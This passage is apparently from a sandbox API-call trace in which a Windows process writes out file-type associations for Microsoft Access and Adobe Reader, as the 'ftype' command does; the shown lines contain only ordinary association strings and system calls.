_BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ShortCut.Form.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenForm \"%1\"]\r\n") returned 127 [0099.826] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.826] GetFileType (hFile=0x5c) returned 0x3 [0099.826] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.826] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Form.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenForm \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Form.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenForm \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128 [0099.826] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7f, lpOverlapped=0x0) returned 1 [0099.827] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.Shortcut.Function.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /SHELLSYSTEM [OpenFunction \"%1\"]\r\n") returned 124 [0099.827] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.827] GetFileType (hFile=0x5c) returned 0x3 [0099.827] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Shortcut.Function.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /SHELLSYSTEM [OpenFunction \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Shortcut.Function.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /SHELLSYSTEM [OpenFunction \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 125 [0099.827] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7c, lpOverlapped=0x0) returned 1 [0099.827] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ShortCut.Macro.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [ShellOpenMacro \"%1\"]\r\n") returned 134 [0099.827] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.827] GetFileType (hFile=0x5c) returned 0x3 [0099.827] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Macro.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [ShellOpenMacro \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Macro.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [ShellOpenMacro \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 135 [0099.827] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x86, lpOverlapped=0x0) returned 1 [0099.827] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ShortCut.Module.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenModule \"%1\"]\r\n") returned 131 [0099.827] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.827] GetFileType (hFile=0x5c) returned 0x3 [0099.827] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.827] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Module.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenModule \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Module.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenModule \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 132 [0099.828] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x83, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x83, lpOverlapped=0x0) returned 1 [0099.828] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ShortCut.Query.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenQuery \"%1\"]\r\n") returned 127 [0099.828] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.828] GetFileType (hFile=0x5c) returned 0x3 [0099.828] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Query.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenQuery \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Query.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenQuery \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128 [0099.828] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7f, lpOverlapped=0x0) returned 1 [0099.828] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ShortCut.Report.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenReport \"%1\", 2]\r\n") returned 134 [0099.828] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.828] GetFileType (hFile=0x5c) returned 0x3 [0099.828] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.828] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Report.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenReport \"%1\", 2]\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Report.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenReport \"%1\", 2]\r\n", lpUsedDefaultChar=0x0) returned 135 [0099.828] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x86, lpOverlapped=0x0) returned 1 [0099.828] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ShortCut.StoredProcedure.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenStoredProcedure \"%1\"]\r\n") returned 149 [0099.829] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.829] GetFileType (hFile=0x5c) returned 0x3 [0099.829] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.StoredProcedure.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenStoredProcedure \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.StoredProcedure.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenStoredProcedure \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 150 [0099.829] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x95, lpOverlapped=0x0) returned 1 [0099.829] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ShortCut.Table.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenTable \"%1\"]\r\n") returned 127 [0099.829] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.829] GetFileType (hFile=0x5c) returned 0x3 [0099.829] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.Table.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenTable \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.Table.1=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP /SHELLSYSTEM [OpenTable \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128 [0099.829] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7f, lpOverlapped=0x0) returned 1 [0099.829] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.ShortCut.View.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenView \"%1\"]\r\n") returned 127 [0099.829] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.829] GetFileType (hFile=0x5c) returned 0x3 [0099.829] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.829] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.View.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenView \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.View.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenView \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 128 [0099.829] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x7f, lpOverlapped=0x0) returned 1 [0099.829] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 92 [0099.830] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.830] GetFileType (hFile=0x5c) returned 0x3 [0099.830] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 93 [0099.830] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5c, lpOverlapped=0x0) returned 1 [0099.830] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.WebApplicationReference.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n") returned 138 [0099.830] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.830] GetFileType (hFile=0x5c) returned 0x3 [0099.830] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.WebApplicationReference.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.WebApplicationReference.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 139 [0099.830] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x8a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x8a, lpOverlapped=0x0) returned 1 [0099.830] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.WizardDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n") returned 105 [0099.830] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.830] GetFileType (hFile=0x5c) returned 0x3 [0099.830] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.830] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.WizardDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.WizardDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 106 [0099.830] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x69, lpOverlapped=0x0) returned 1 [0099.831] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.WizardUserDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n") returned 109 [0099.831] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.831] GetFileType (hFile=0x5c) returned 0x3 [0099.831] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.WizardUserDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.WizardUserDataFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 110 [0099.831] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x6d, lpOverlapped=0x0) returned 1 [0099.831] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Access.Workgroup.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n") returned 100 [0099.831] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.831] GetFileType (hFile=0x5c) returned 0x3 [0099.831] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Workgroup.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Workgroup.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 101 [0099.831] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x64, lpOverlapped=0x0) returned 1 [0099.831] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="accesshtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n") returned 79 [0099.831] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.831] GetFileType (hFile=0x5c) returned 0x3 [0099.831] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.831] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="accesshtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accesshtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 80 [0099.831] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x4f, lpOverlapped=0x0) returned 1 [0099.832] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="accessthmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n") returned 83 [0099.832] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.832] GetFileType (hFile=0x5c) returned 0x3 [0099.832] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="accessthmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessthmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 84 [0099.832] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0099.832] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="acrobat=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" /u \"%1\"\r\n") returned 80 [0099.832] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.832] GetFileType (hFile=0x5c) returned 0x3 [0099.832] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.832] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="acrobat=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" /u \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acrobat=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" /u \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 81 [0099.832] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x50, lpOverlapped=0x0) returned 1 [0099.833] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="AcroExch.acrobatsecuritysettings.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n") returned 104 [0099.833] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.833] GetFileType (hFile=0x5c) returned 0x3 [0099.833] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.acrobatsecuritysettings.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.acrobatsecuritysettings.1=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 105 [0099.833] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x68, lpOverlapped=0x0) returned 1 [0099.833] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="AcroExch.Document=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n") returned 87 [0099.833] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.833] GetFileType (hFile=0x5c) returned 0x3 [0099.833] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.Document=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.Document=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 88 [0099.833] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x57, lpOverlapped=0x0) returned 1 [0099.833] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="AcroExch.Document.7=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n") returned 89 [0099.833] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.833] GetFileType (hFile=0x5c) returned 0x3 [0099.833] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.833] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.Document.7=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.Document.7=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 90 [0099.833] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x59, lpOverlapped=0x0) returned 1 [0099.834] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="AcroExch.FDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n") returned 85 [0099.834] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.834] GetFileType (hFile=0x5c) returned 0x3 [0099.834] _get_osfhandle (_FileHandle=1) returned 0x5c [0099.834] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AcroExch.FDFDoc=\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AcroRd32.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroExch.FDFDoc=\"C:\\Program Files 